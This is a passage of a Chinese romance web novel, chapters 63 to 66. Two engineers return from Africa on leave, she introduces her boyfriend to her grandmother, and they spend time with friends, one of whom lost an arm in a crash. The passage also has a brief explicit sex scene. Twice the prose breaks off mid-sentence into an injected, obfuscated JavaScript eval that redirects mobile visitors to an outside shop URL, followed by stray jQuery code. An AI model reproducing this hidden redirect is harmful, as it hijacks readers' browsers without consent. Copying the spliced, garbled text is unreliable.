就这样,万众期待的跨海大桥正式开工。这一天连海浪也好像在为他们喝彩助威,天空落下了很美的晚霞,映得每个人脸上都喜气洋洋。 可谁也没有想到,如此声势浩大的仪式仅仅过去一周,开工事宜就遇到了难题。据张士明说,拨的款到了,施工队也谈好了,但偏偏最重要的材料要延后二十天才能交付。 俗话说工欲善其事必先利其器,没了工具,他们就是有十八般武艺也不可能徒手造桥。张士明看着那不断飙升的窝工费,索性用一笔安抚费打发了施工队,让他们半个月后再来,至于基地的这些工程师,张士明也大发慈悲地拍板要放探亲假,往返机票报销。只是有一个条件,半年后的春节就不放假了。 沈时因做梦也没想到她能回去见外婆和梁冉了,时隔一年,也不知道她们有没有什么变化。她在接到消息的第一刻就把自己的信息上报给了财务,事实上,大多数同事这次都是要回国的,毕竟过年回不去,只能珍惜这次机会。 沈时因快被这突如其来的幸福砸晕了,不仅能跟家人朋友团聚,而且这不就正好被梁冉说准了,她可以带钟琂回去了吗。 沈时因兴高采烈地走出财务室,还没走几步内心那股小火苗就熄灭了……不对,她都还没问钟琂,说不定他根本就不愿意跟自己一起回去。 等不及下班,沈时因拿出手机给钟琂发信息:【你要跟我一起回国吗?】 63.第 63 章 钟琂的回复很出乎沈时因的意料,他问:【你要回去?】 沈时因当然要回去了,她都一年没见到外婆了,来回机票也能报销,她简直想不出任何不回去的理由。 ——【对,我要回去。】 而且是不管钟琂答不答应,她都要回去。就算钟琂不跟她同行也无可厚非,这是探亲假,他的亲人又不在国内。但如果钟琂不跟她一起,那这就是他们自在一起之后第一次长时间分开了。 钟琂很久都没再回消息,沈时因这大半个下午都有点心不在焉,频频打开手机查看。 快下班的时候沈时因打开手机编辑信息:【如果你不想跟我一起回去,那我就晚走两天,我们可以一起留在……】 沈时因还没打完字,对面突然出现了一条新消息。钟琂说:【那我陪你回去。】 钟琂的想法其实很简单,不论去哪里都没关系,他暂时还不想跟沈时因分开。 沈时因在看见信息的一瞬在心里爆发出小小的欢呼,她怀着激动的心情给梁冉和外婆都发去了通知,说自己要带男朋友回来。 而且仔细算算,她这一年也赚了点小钱,勉强能算衣锦还乡。回国之后再带外婆去置办几身行头,既然过年回不去,那就再留点钱给外婆让她到时候置办年货。 晚上回到宿舍,沈时因把行李箱摊开,一件一件地往里面放衣服。 钟琂坐在旁边,视线一直追随哼着歌走来走去的沈时因。 “我可能没法跟你同一趟航班。”钟琂说。 “你还有工作?”沈时因说:“晚一两天也不碍事,我到时候来机场接你。” “还有一点收尾工作,而且订机票的时候你们那趟航班已经满了。” “这样啊。”沈时因猜想他们这趟飞机估计都被同事们包圆了。 钟琂说:“你再把你家的地址发给我,我好订附近的酒店。” 钟琂在国内其实有房子住,但如果住得离沈时因太远,那就失去了一起回国的意义。 沈时因抽空找出手机,给钟琂发了个地址过去。钟琂刚接收到信息,点击完保存,沈时因忽然走了过来,整个人都坐在他身上。 “谢谢你。”沈时因俯身啄吻起钟琂的脸和嘴唇。 “谢我什么?” “谢谢你愿意陪我回去。我真的很想带你去见外婆和梁冉,让她们知道我在非洲过的不是孤苦伶仃的苦日子,这样她们就不用天天担心我。也幸亏你的方案受到了质疑,让这批材料没那么快送到,我们才能放个长假。我还想和你一起做好多好多事,在没有人认识我们的地方。” 钟琂扶着沈时因的腰,心想她这感谢方式还真是别出心裁,也特别让人受用。 只要沈时因高兴了,她就能让身边的人都跟着她高兴。在一个个缱绻热烈的亲吻里,钟琂也开始期待这趟本来并不在计划中的旅程。 …… 大概是怕张士明临时变卦,基地的大部分人都买了最近一趟的航班,沈时因也一样。假期的通知一旦下发,这帮人就跟脚底抹了油似的,个个归心似箭,园区一夜之间竟然变得萧瑟不少。 沈时因坐在中巴车里,有种上学时候放暑假的心情。等真正出发了,归途也变得具体确切,他们终于开始真正相信自己即将回到故土,可以放心大胆地寄托思念与期待。 行驶途中,车里居然有人带头唱起了《故乡的云》,后来渐渐变成大合唱。虽然是首老歌,但好多人的眼眶都悄悄地湿润了。 到达机场,在登机口等候的场面简直堪比公司团建,沈时因找了个角落给钟琂打电话: “我快登机了。你买票了吗……你不会放我鸽子吧,那我真的会生气。” 隔着电话钟琂仿佛也能看见沈时因那气呼呼的样子,他连忙说:“马上就买。我明天要跟张工一起去见几个政府官员,应该不会太久,晚上就能出发。” 大概是为了表示诚意,刚挂断电话没多久,钟琂就发来了航班信息。如果白天的会面顺利,他将会坐上这趟飞机,也就是比沈时因晚一天半左右到达广州。 沈时因说:“那不然我在广州等你一天?我可以在当地观光,上次转机的时候我哪都没去,当时太紧张了根本没闲心旅游。” “也行,”钟琂说:“只要你不无聊。那我来买后半程的机票。” 同样是二十个小时的航程,两次的经历对沈时因来说截然不同。她上次来非洲的时候一路上都觉得自己快死了,这次她睡了一路,落地之后开心地与同事告别,独自拖着行李箱,找了家机场附近的酒店入住。 放完行李,沈时因给钟琂报了声平安。随后走出酒店,独自走在广州街头,天将黑不黑,但街道上人流如织,到处都是熟悉的面孔和文字。 沈时因已经很久没有像这样独自走在陌生的街道,这在非洲的城市里是她想都不敢想的事。 在这一天半的时间里,沈时因没做什么攻略,基本就是走走停停,看见不错的店面会进去吃一吃,或者逛一逛。她吃到了好多甜食和面点,也去品尝了当地特色的早茶,极大地满足了她的嗜甜属性。 下午看时间差不多了,沈时因回到酒店取出行李箱,马不停蹄地赶往航站楼。她挤在等待的人群里,翘首以盼地在每一个出现的行人之中搜寻钟琂的身影。 到达的时间早就过了,钟琂还没出现。沈时因左顾右盼,忽然在vip通道的方向看到了那道熟悉的颀长身影。 沈时因从来没跑得这样快过,钟琂在她快要到的时候张开了双臂,沈时因就这样扑进了他的怀里。 钟琂低下头,难得在大庭广众之下和她接吻。分开之后沈时因也还是仰着脸,“收尾工作进行得还顺利吗?” “很顺利,当地海关会给我们特别放行,那批材料不会拖得太久。”钟琂还是心系着工程进度,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035594|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们也要尽快去打疫苗,别耽误事了。” “知道了。”沈时因牵起钟琂的手,“走吧,去坐下一趟飞机。” 转机之后的第二趟航程只有两个小时,沈时因和钟琂坐在一起,身边全是不认识的人。她靠在钟琂的肩膀上,絮絮叨叨地说自己这两天的见闻,“原来广州有这么多好吃的,我下次也想带外婆来,她还从来没有坐过飞机。” 既然提到了沈时因的外婆,钟琂突然想到一个重要的问题。 “你这次带我回去,是不是打算把我正式介绍给你的家人?” 沈时因愣了愣,她是打算把钟琂带去外婆面前,但可能也没那么正式,毕竟他们还没有谈婚论嫁。 可钟琂看上去很郑重,这也是沈时因第一次在他脸上看见慌张。 “你不用这么紧张,我外婆人很好的,绝对不会为难你。”沈时因说。 钟琂:“如果是正式拜访,那你至少要给我一天的时间让我去置办礼物。” 沈时因搞不懂这些弯弯绕绕,她说:“那如果你想买就买吧,但别买太多了。” 飞机再次落地已经是北京时间的晚上九点,沈时因用手机叫了辆出租车,打算先送钟琂去酒店。 “你这次回来有什么安排吗?比如要去见什么老同学和远方亲戚之类的。”沈时因问。 钟琂说:“没有。我是自费买的机票,连总部的人都没通知,就怕他们要自作主张地安排。” “那你就全程跟着我混了。”沈时因油然而生了一股东道主的使命感,钟琂人生地不熟的,对好多事情都一窍不通,很需要被照顾。 “我把你送到酒店再走,”沈时因不放心地问:“你身上有现金吧?” 钟琂说:“我在机场兑换了一点人民币,还有运通卡可以刷。” 钟琂订的是沈时因家附近最好的一家酒店,也是一个能步行抵达的距离。沈时因把他送进房间,自己也拿了一张房卡,“那我走了。” 钟琂一个人坐在沙发,眼巴巴地问她:“你明天还过来吗?” 本来打算离开的沈时因心里忽然一软,走过去抱住钟琂说:“我明天早上就过来找你,你乖乖地在这里等我。” 钟琂:“嗯。” “我实在是太想外婆了,所以先回去陪一陪她,然后就来陪你。你如果想出门就让酒店帮你叫车。” 钟琂说:“我不出门,我就在这里等你。” 钟琂还带了电脑,只要沈时因不来找他,他就打算在房间里一直工作。 毕竟这里是沈时因的主场,他唯一的熟人也只有沈时因。 “你不出门买礼物了?”沈时因问。 “我可以打电话叫人送过来,我会在官网搜产品图册。” 沈时因早就听说有钱人的购物方式跟他们不太一样,她往钟琂的脸上亲了好几下,“你再这样我就舍不得走了,我保证明天就来找你。” 64.第 64 章 沈时因觉得像钟琂这样心思活泛的人总不至于因为好几年没回国就寸步难行了,他只不过是想和自己再多待一会儿。 沈时因捧着他的脸亲了好几下,“我真走了。” “那我送送你,你一个人走夜路不安全。”钟琂紧随其后地站起身。 “不用,我以前上完晚自习天天走夜路回家。这条路我闭着眼睛都能走回去。”沈时因把钟琂推回去,“你送了我,我又要送你,那就没完没了了。” 老城区的居民都习惯饭后散步,街上还有夜跑的人和卖烧烤甜水的商贩,很是热闹。沈时因推着行李箱,时间好像真的回到了以前放假,她从学校背着书包走回家的时候。 外婆早就在家等待多时,沈时因一回来给了她一个大大的拥抱。 沈外婆抱着沈时因不撒手,“快让我好好看看,皮肤倒没怎么晒黑,就是瘦了!” 沈时因被外婆拉到沙发坐下,那里早就摆满了她准备好的各式水果和干果,都是沈时因小时候爱吃的。 “你快吃,多吃点。”沈外婆闲不住,又走到厨房,她早就调好了馅料和面皮,要现场制作小笼包。 沈时因从到家起嘴里就没停过,一直在吃。等小笼包终于包完、蒸好,再端到餐桌上,沈外婆才惴惴不安地问:“因因,你之前在微信里说的男朋友到底是怎么一回事?手机里也讲不清楚。” “就是男朋友啊,”沈时因吃得脸颊鼓鼓的,“定个时间吧,到时候带回来给您看看。” “哎哟,这可怎么是好……家里得收拾收拾吧,再去酒楼订个包间,就去街口那家老字号。我还得准备红包。”沈外婆急得团团转,紧张程度不比钟琂少。 “用不着太正式,我们又不是要结婚,这次就是随便见见。” 沈外婆当即竖起了眉毛,“不结婚,那你带回来做什么?” “就是见见嘛。” “那既然没奔着结婚去,你还跟他谈什么?”沈外婆的思维很简单粗暴。 “主要是我现在没想那么远。我不求长长久久,只求朝朝暮暮,我就想活在当下。”沈时因吃饱了,擦了擦嘴,“我去洗澡了。” 沈时因回到卧室,找出以前常穿的T恤和短裤,洗完澡走出来,外婆还在餐桌等着她:“不管怎么样还是要好好招待人家,毕竟不远万里的过来,不能让人把你看轻了。” “都行,您快去睡吧,好晚了。”沈时因把外婆扶进卧室,“我这次回国要待十几天,有的是时间陪您。” 她等外婆睡熟了才蹑手蹑脚地走出来关上门。看着空荡荡的客厅,沈时因忽然不知道该做什么了。 由于时差的关系,沈时因现在一点也不困。桌上的水果还剩了很多,她拿了个塑料袋装了一些,走出门遛弯似的来到了钟琂的酒店。 沈时因有房卡,但她还是敲了敲门。钟琂大概也睡不着,很快就打开了门。 沈时因走进去,抱着钟琂说:“我回去把外婆哄睡着了,所以来找你玩,顺便给你带点吃的。” 钟琂接过水果,放进房间的小冰箱里。 沈时因走到窗边的单人沙发坐下,看见面前打开的电脑屏幕上正在运行绘图软件,“你在工作?” “画了点东西。” 沈时因偏着头,从落地窗眺望出去,看见一片熟悉的绿荫草地,“你看,那是我以前的中学,现在应该在放暑假。” “我刚才也看到了,还在想是不是你以前上学的地方。” 钟琂走过来,把沈时因抱起来放在自己腿上坐好。他操控鼠标,将画幅比例缩小,“你想知道我刚才在做什么吗,我把海滨公园的设计图画出来了。” “这么快?”沈时因惊叹于钟琂的办事效率,“我想看。” 钟琂做的是实景图,他还设置了好多个小人放进去,模拟建成后的功能区效果。 他滑动鼠标,让效果图变成动画,“你看,这就是你当时说要修步道的地方,我把它与周围连接起来了,可以作为观景游览的步行区域。这边是绿化带,由于经常有海胆被冲上岸,我还打算加装一个缓冲装置,可以促进周边的海水循环,这样也能避免因潮汐变化对周边设施产生冲刷。” 沈时因全神贯注地看着,画面上的情景和她想象中一模一样。她好像能和钟琂一起,变成图里的小人在海边散步玩水了。 “海滩当然是可以下水游玩的,我设置了浅滩区和礁石区,这一排是观景餐厅。然后……这里就是你想要的乐队现场了,这个舞台可以升降,平时也可以作为当地人唱歌跳舞的场所,旁边会设置固定座位。” 钟琂把主要的区域划分和功能设施介绍完,邀功一般地问:“怎么样,你喜欢吗?” “喜欢。”沈时因说:“可是你怎么这么快就把设计图画好了,海滨公园至少要等大桥建完以后才投入生产。” “我发现我最近满脑子都是这个公园的样子,再不画就疯掉了。” 钟琂把下巴放在沈时因的肩上,硌得她痒痒的。沈时因笑着说:“你才不会疯,你是我见过最冷静克制的人。” 钟琂不再反驳,而是忽然很正式地叫了一声:“沈时因。” 沈时因太熟悉钟琂这个样子了,不用问也知道他即将要做什么。她决定收回刚才的话,他在某些方面一点都不克制。 钟琂果然俯身亲了过来,沈时因□□,面对面地坐在钟琂身上。 钟琂把手从沈时因的衣服下摆里伸进去,触碰到一团绵软,他低声问:“要不要去床上?” 沈时因摇了摇头,“就在这里。” 沈时因脱去短裤,就着这个姿势和钟琂结合。她一遍遍地低下头去寻找钟琂的唇舌,与他难舍难分地痴缠在一起。 一起到达高/潮之后,沈时因把腿盘在钟琂身上,让他抱着自己进浴室清理。 再穿好衣服,空气中好像还残留着一些黏腻绮靡的气息。沈时因窝在钟琂怀里,和他继续缠绵了一会儿,感觉到钟琂又有蓄势待发的趋势,她站起来说:“不行,我得回去了。” 这次钟琂执意要送她回去,“现在太晚了,街上都没什么人。我正好也认认路。” 沈时因拗不过他,只好让他跟着。走下楼,她牵起钟琂的手,讲解道:“除了最开始要往左转,之后就是一直往前走。不论看见多么奇怪的路也要坚定不移地往前走,这样才能到我家。” 钟琂认真点头,“我记住了。” 可能是因为刚做完体力活动,也有可能是因为附近的街道总是弥漫着一股烟火气,钟琂突然很想坐下来吃点东西。他问沈时因:“你饿不饿?” 沈时因其实一点都不饿,但她还是停了下来,回想起附近还在营业的店:“那边有一家麦当劳,还有一家我以前下了晚自习经常去吃的面馆,你选哪个?” “你经常去的面馆。”钟琂毫不犹豫地说。 沈时因带着钟琂往前走,来到一家还亮着灯的店面,沈时因熟门熟路地走进去,对老板说:“两个人。” “好久没来了,我还以为你搬走了。”老板娘热情地走过来点单。 “我外派去国外工作了,过几天又得走。”沈时因笑眯眯地说:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049463|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我男朋友。我要阳春面,你要什么?” 最后一句话是看向钟琂问的,钟琂说:“我也一样。” 这是一家夫妻档的小铺面,地方不大,但很干净整洁,明亮的灯光加上食物香气,衬得气氛很温馨。钟琂很少来这种店里吃饭,但他很喜欢沈时因带着他走街串巷的样子,好像把自己压箱底的收藏都展示给他看了。他也很喜欢沈时因介绍他的语气,“男朋友”三个字从她口中说出来有种自己人的熨帖。 热腾腾的面端上来,钟琂吃了一口说:“很好吃。” “当然好吃了,我小学的时候这家店就在了,这可都是经过附近街坊检验过的。”沈时因挺着胸膛说。 吃完饭,两人牵着手继续往前走。 “好了,这就是我家了。”沈时因指着一家有好多花花草草的阳台说:“那就是我外婆种的。” 钟琂在沈时因脸上亲了一下,“那我走了。” “你还记得回酒店的路吗?”沈时因不放心地问。 “记得。你先上去吧,我等你上楼了我再走。” 沈时因挥了挥手,一步三回头地往楼道里走。回到家打开灯,她第一时间跑到防护栏面前,对钟琂说:“我到家了,你快回去。” * 第二天,沈外婆起床以后早早地走到街口的酒楼,预订了隔天晚上的包间。 她回到家,在家里走来走去,最后还是忍不住把熟睡中的沈时因叫醒,“因因,我们明天晚上招待你的男朋友。我们今天快去准备准备。” 沈时因正好也想给外婆买几身新衣服,她坐起来揉了揉头发,“行,那我们今天去商场。” 沈外婆出去以后,沈时因拿出手机给钟琂打电话,“你醒了吗?我外婆说订了明晚的饭店,让我陪她去置办行头。那我今天就不来找你了,你可以自己出去逛逛。” 钟琂说:“那我回一趟之前的家。” “这样的话你今天晚上也没什么事了。等梁冉和郑意成下班以后,我们一起吃饭好不好?” “好,那你把地址发给我,我到时候直接过去。” 沈时因陪外婆在商场一逛就是一天,外婆时不时需要停下来歇歇,试起衣服来更是没个准数,常常在好几件差不多的衣服之间犹豫。沈时因见她挑不出来,干脆把看上的全买下了。 买完衣服,外婆还带着沈时因去了趟酥饼店,买了好多当地特色的茶食和糕点,专门用来招待客人。 这一天收获满满。梁冉怕她们拎不动,下了班顺路开车过来,把这祖孙俩捎上。 沈时因要先把外婆送回家,大包小包的也放回去。她再下楼坐回梁冉的车,一起赶往聚餐地点。 梁冉在手机里输导航,“郑意成已经过去了,报你的手机号?” “对,已经预留位置了。” 梁冉给郑意成说了一声,随即转动方向盘,根据导航提示驶入主干道,她难掩内心的激动:“终于可以见到你传说中的神秘男友了,他到了吗?” “应该到了,他本来就……” 街上车水马龙,前方是堵得水泄不通的车流,她们的车停在了最末尾。梁冉转过脸,“怎么了?” 沈时因的脸突然白了,她意识到自己犯了一个很严重的错误。 “冉冉……钟琂应该已经到了,很有可能还跟郑意成见上了面。可我忘了提前跟他说,郑意成少了一只手,是个残疾人。” 沈时因拿不准钟琂会有什么反应。一般人在见到郑意成的第一反应要么是大惊小怪,要么就是滥用同情,可不论哪一种都不对。 65.第 65 章 梁冉瞬间出了一身的冷汗,前方的车缓缓移动,她也连忙踩下油门跟上,握住方向盘的手都在发抖。 车上两人都是一脸煞白,梁冉语无伦次地说:“这么重要的事,你怎么也能忘……不然就现在给他打个电话交待几句,说不定还没见上。” 这几年来,只要跟郑意成走在一起,来自陌生人的鄙夷和恶意就没消停过,那些不加掩饰的看客目光也都像淬了毒。正是因为经历过,沈时因了解事情的严重性,所以才会这样如临大敌。 钟琂虽然不至于用有色眼光看待特殊人群,但刚开始的惊讶错愕总少不了,坐下以后又会不可免俗地代入“照顾者”的角色,把郑意成当成弱者对待,同时也是在将他的自尊心放在地上碾压,这对郑意成来说太残忍了。 电话里的“嘟”声变得漫长难忍,等钟琂好不容易接起,沈时因连忙问:“你到餐厅了吗?” “我到了,你们呢?”钟琂语气轻松,像是对自己的处境浑然不觉。 “先别管我们了,”沈时因压低声音,“你见到郑意成了吗?” 听筒那边一阵嘈杂,沈时因也不知道发生了什么,只隐约听到有碰杯的声音。钟琂的声音很平常:“见到了,我们还点了葡萄酒喝。” 看来该发生的都已经发生了,原来还是晚了。沈时因挂断电话,一颗心沉到了谷底。 梁冉心急如焚,一路加足马力,把车开得风驰电掣。 沈时因张了张嘴,心想最坏的结果大概已经发生,再做什么都是于事无补。“冉冉,对不起……” 到了这个时候,梁冉反而安慰起沈时因,“没事的。都这么多年了,他也该习惯了。” 这个世界的生存之道就是这样,只要跟别人不一样,那就不能要求大多数人来适应你,而是你要去适应这个世界,哪怕这个过程无异于剜心割肉。 沈时因没再说话,心里做好了事后去郑意成那里赔礼道歉的打算。 抵达西餐厅,车刚停好,两人同时拉开两侧车门。她们火急火燎地走进去,由侍应生带领着来到提前预订的座位。 铺着白色桌布的四人位,郑意成和钟琂相对而坐,两人像是聊到了什么令人心情愉悦的话题,脸上都还带着笑意。 沈时因一脸紧张地站在桌旁,试图找出郑意成脸上的蛛丝马迹。她惴惴不安地不断确认着,但郑意成看上去很正常,还在热烈欢迎她回国,不像强颜欢笑。 沈时因忐忑不安地坐下,对面的梁冉也一样。她介绍道:“这是我的男朋友钟琂,这是我的好朋友梁冉和她的男朋友郑意成。” 互相点头致意之后,钟琂递过来菜单,他们只点了酒,其它菜还要她们来点。 沈时因接过菜单,桌上原本被覆盖住的东西就这样被显露了出来。她猝不及防地看见那条假肢,被吓得浑身一震,险些惊叫出声。 一看她这反应,郑意成哈哈大笑起来,对着钟琂欢呼,“你看,被我说准了吧!这一招真是屡试不爽。“ 钟琂也在笑,是那种很少出现在他脸上的、有些促狭的笑,还带着些少年气。这大概是他们早就商量好的整蛊恶作剧。 梁冉快被这过山车一般的起起伏伏搞懵了,她先是怔忪片刻,后来没忍住也跟着笑起来。她狠狠锤了郑意成一拳,“神经!赶紧把你的假肢戴上,几十岁的人了还这么幼稚。” 沈时因心里绷着的那根弦也不知不觉跟着松了。点完菜,钟琂从椅子后面拿出一个纸袋,从里面拿出两盒包装精美的礼品,递给郑意成说:“这是我从非洲带回来的咖啡豆,听说你们平时都有喝咖啡的习惯。” 梁冉很是惊喜地接过,打开闻了闻,“东非产的咖啡豆,果然很醇厚。” 沈时因悄悄挪过去,小声问钟琂:“你什么时候准备的这些?” 钟琂低声说:“你以为我最后一天是白留的?” 前菜陆续上来,几人边吃边聊。沈时因也不知道在此之前钟琂和郑意成都在聊什么,但至少现在看来,他们已经到了很熟悉的地步。 因为都是建筑行业的同僚,自然有很多行业内的变革可以聊,郑意成说起他们公司最近运用的几项专利,竟然都有钟琂的研发和参与。 沈时因给自己也倒了一杯葡萄酒,刚放到嘴边就听见郑意成问起钟琂平时有什么爱好。 根据沈时因对钟琂的了解,这人除了工作好像没什么爱好。但出乎意料地,钟琂说:“以前喜欢游泳,但去非洲以后就没怎么游了。哪天方便,我们可以一起去。” 沈时因差点被呛到。钟琂这个人到底有没有眼力见啊,郑意成少了一条手臂,维持平衡都够难的了,还让他去运动?随便约个爬山露营、桌游麻将也比这好啊。 沈时因又紧张兮兮地去看郑意成,没想到他反而眼前一亮,饶有兴致地说:“行啊,我以前也特别喜欢游泳,还加入过学校游泳队。” 梁冉生怕话题继续延伸,手忙脚乱地叉起一块烟熏鲑鱼喂到郑意成嘴里。 梁冉搜肠刮肚地想别的话题,她问沈时因:“对了,你在非洲看动物大迁徙了吗?” 沈时因吐了吐舌头,“没有,其实我连大型动物也没见着几个。” “那非洲是不是特别美,有很多草原和旷野?” 沈时因也说不清楚,“大概有吧,但我没去过那些地方。我只知道地处高原,所以气温挺低的,夏天去还能避暑。” 梁冉又问了许多关于非洲的问题,沈时因基本一问三不知。她放假的时候只待在园区,大门不出二门不迈的,就跟没出国一样。 吃完饭,一行人坐上梁冉的车,沈时因还是坐在前排,钟琂和郑意成坐在后排。 刚一上车,他们俩不知怎地又说到去游泳的话题,还聊起了附近的游泳馆。梁冉面沉如水:“今晚可不能去游泳,你们都喝了酒。换个地方续趴。” 郑意成转而提议,“附近不是有家保龄球馆吗,要不要去那玩?” 沈时因本来在查看电影场次,她从后视镜里看了一眼钟琂,“我们可以去看电影,或者去酒吧坐坐。” 沈时因以为钟琂接收到了她的暗示,没想到钟琂想也没想就说:“我支持去打保龄球。” 保龄球馆的巨大LED灯牌在夜晚闪闪发光,让人想忽视都难。梁冉硬着头皮驱车前往场馆,一行人被工作人员带进去,被分配到两个球道。 工作人员的视线落在郑意成的断臂上停了几秒,最后僵硬地撇开脸,向他们介绍起饮料小吃。 趁着梁冉和郑意成的注意力都放在那边,沈时因偷偷把钟琂拽到一边说:“你稍微让着他点。” 钟琂看上去像是当真不解,“为什么?” “你看不见他什么状况?” “我不让。”钟琂说:“大家公平竞争,让来让去的就没意思了。” 沈时因算是看出来了,钟琂本质上就是个争强好胜的人,即便对手是郑意成这样身体有残缺的人。 第一轮开始,工作人员站在一边计分。钟琂率先出手,来了个漂亮的一击全中。 “好球!”郑意成鼓起了掌,但由于其中一只手掌是假肢,所以鼓掌声变得很像在敲击木头。 沈时因和梁冉站在另一个球道前,轮流接过工作人员递过来的球,进行投掷。 沈时因本来就不太擅长这项运动,再加上心不在焉,总关注着旁 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沈时因摸着下巴点头,“那我劝你也放弃抵抗,否则咖啡豆喝起来就不香了。” 梁冉笑个不停,眼看前方战局已经进行到最后一球,她把手张开放在嘴旁边,大声说:“郑意成你小心点,别把假肢甩出去了,那样击球得的分可不算数。” 路过的工作人员当即投来惊恐眼神,梁冉笑得扑倒在沈时因怀里,还给郑意成比了一个胜利的手势。 沈时因嫌弃地推了推梁冉,“你还说别人幼稚,自己也没好到哪里去。” 最后的比赛结果毫无悬念是钟琂胜。郑意成不无遗憾地说:“我差一点就能反超比分了,你们看见我最后那球了吗?” 沈时因和梁冉异口同声:“看见了,简直精彩绝伦。” 坐上车,郑意成和钟琂在后排交换联系方式,还顺便约好了周末一起游泳。 沈时因坐在前排指挥交通路线,让梁冉先送她和钟琂回酒店。 与好友作别,沈时因和钟琂一起回到酒店房间。钟琂洗完澡靠坐在床上,沈时因就把头枕在他的腿上。 “你今天不回去了?” 沈时因说:“要回,我就是先送送你。” 其实还想跟钟琂待在一起说说话,腻歪一会儿。 钟琂用手机查看了一遍邮件,见没什么需要特别回复的就放了回去。专心看着沈时因,“郑意成的手是怎么回事?” 沈时因侧躺着,抱着他的腰说:“我还以为你不好奇呢,全程就跟没看见似的。” “确实也没有太好奇,那你就别说了。” “不,我要说。”沈时因坐了起来,“其实他们俩在一起还是因为我。” “你介绍他们认识的?” “算是吧,郑意成大学和我在一个系,比我高两届。我们大一实训,有一些学姐学长过来帮忙,一来二去我就认识了……另一个男生。” 钟琂察觉到一丝不寻常的意味,意味深长地看着沈时因,等她接着说下去。 “我当时的男朋友就是郑意成的室友。后来梁冉到我的学校来找我玩,我正好跟他在一起,郑意成又有事过来找他,后来不知怎地就变成了四人约会。渐渐地,梁冉和郑意成走到了一起,当然他那个时候还是四肢健全的。” 钟琂往后一仰,靠在床头。他现在有点后悔问沈时因这个问题了,“那你后来为什么跟这个男朋友分手?” “我有点忘了,好像没谈多久就分了。”沈时因用手比划了一个高度,“我心里的城墙大概有这么高,只要察觉到一点不对的苗头就会很容易产生退意。” 66.第 66 章 “总而言之……”沈时因将故事拉回正题:“我们还在上大学的时候梁冉家里就给她买车了,我们那时候经常坐着她的车到处玩。” “郑意成负责当司机,我和梁冉坐在后面化妆聊天,我们一到周五就筹划着要去哪里玩,那真是最无忧无虑的几年了。”沈时因说:“后来郑意成升上大五,要忙着找工作,我们就出去得少了。也就是在那个时期,他和梁冉开始频频吵架,梁冉大概觉得自己被忽视了。不过好在郑意成很快确定了入职单位并且签完合同,他当天晚上来学校找梁冉,两人一起开着车出去。学校外面有一段很黑的路,他们俩在车上突然吵了起来,而且越吵越厉害,梁冉提出分手,郑意成不同意,梁冉就想开门下车……” “事情就发生在一瞬间,当时谁也没有看见对面那辆大货车。车祸发生的时候郑意成死死握住方向盘,护住已经解开了安全带的梁冉,导致自己的半边身体都被压在了车下面。” “我赶到医院的时候梁冉只受了点皮外伤,她坐在手术室外嚎啕大哭,整个医院都响彻着她的哭声。后半夜,郑意成的父母从外地赶过来,医生也给出了最后通牒——必须截肢,否则人就活不了。” “郑意成的父母当场瘫坐在地,梁冉也没好到哪里去。这是一个无比艰难的抉择,在生命和残废之间,他们只能选择前者。好在截肢手术进行得很顺利,郑意成脱离了生命危险,其它部位也没受到影响,只要安上假肢,他很快就能重新适应新的生活。” “当然这都是医生的说辞,可要让一个健全了二十多年的小伙子突然去面对少了一只手的人生,这谈何容易?郑意成自出院之后就把自己关在家里,整天整夜地不出门,也不与人交流。梁冉见他不吃东西,就从家里做了饭送过来,她在门口经常一等就是一天,因为郑意成不给她开门。她后来就捧着饭盒站在楼下,只要窗户后面出现了一点郑意成的身影,她就跳起来拼命挥手,那段时间梁冉都快把自己活成望夫石了。” “郑意成为了赶梁冉走也说了很多伤人的话,有一次他终于打开了门,梁冉还以为他想通了,高兴得要命。可郑意成只冷冷地说:‘你不是要分手吗,现在如你所愿,我们分手。’梁冉哭喊着说她改变主意了,郑意成就说自己已经不爱她了,说完就又要关门。” 钟琂问:“这种情况持续了很久?” 沈时因点点头,“真的很久,大概半年多。梁冉父母来了好多次,怎么拉她都拉不走,只好去大学给她办理了休学。我那段时间只要没课也去陪着梁冉,大家都做好了长期拉锯的准备。” “郑意成出事以后第一次走出家门是在过年那天。当时天气很冷,梁冉站在楼下不停地哈气踱步,郑意成站在楼上对她大喊,让她回去,梁冉就是不走。我跟外婆吃完年夜饭也赶紧跑出来,买了好多烟花带过去,我们就这样在楼下放起了烟花。” “烟花放到天上,散落成无数璀璨流光。我们在楼下又蹦又跳,就想吸引郑意成,让他打开窗户看。我们还被楼里的其他住户驱赶,只能绕到大楼后面,找了块空地继续放。我们一边放烟花,一边对着楼上大喊:‘郑意成,这个世界还有值得留恋的地方。有美丽绚烂的烟花、波澜壮阔的景色、好吃的美食和爱你的人!’” “时间过了零点,郑意成还是没出来,我们买的烟花也放完了。我和梁冉把地上的垃圾收好,正准备打道回府的时候才看见树下站了一个人,郑意成整个人都瘦得脱了相,就剩一把骨头了,头发也变得很长,还留着大胡子,像个野人。梁冉当时又哭又笑,扑上去和他吻在了一起。” “反正自那以后他们就算和好了,梁冉也把郑意成全面保护了起来。只要有人敢表现出一点区别对待,她就立马上去冲锋陷阵,我们平时跟郑意成相处都要注意言行,不能有任何瞧不起的意味,也不能因为他的手不方便就处处帮忙。后面反倒是郑意成先想开了,主动拿断臂开玩笑,还说自己是杨过和维纳斯。” 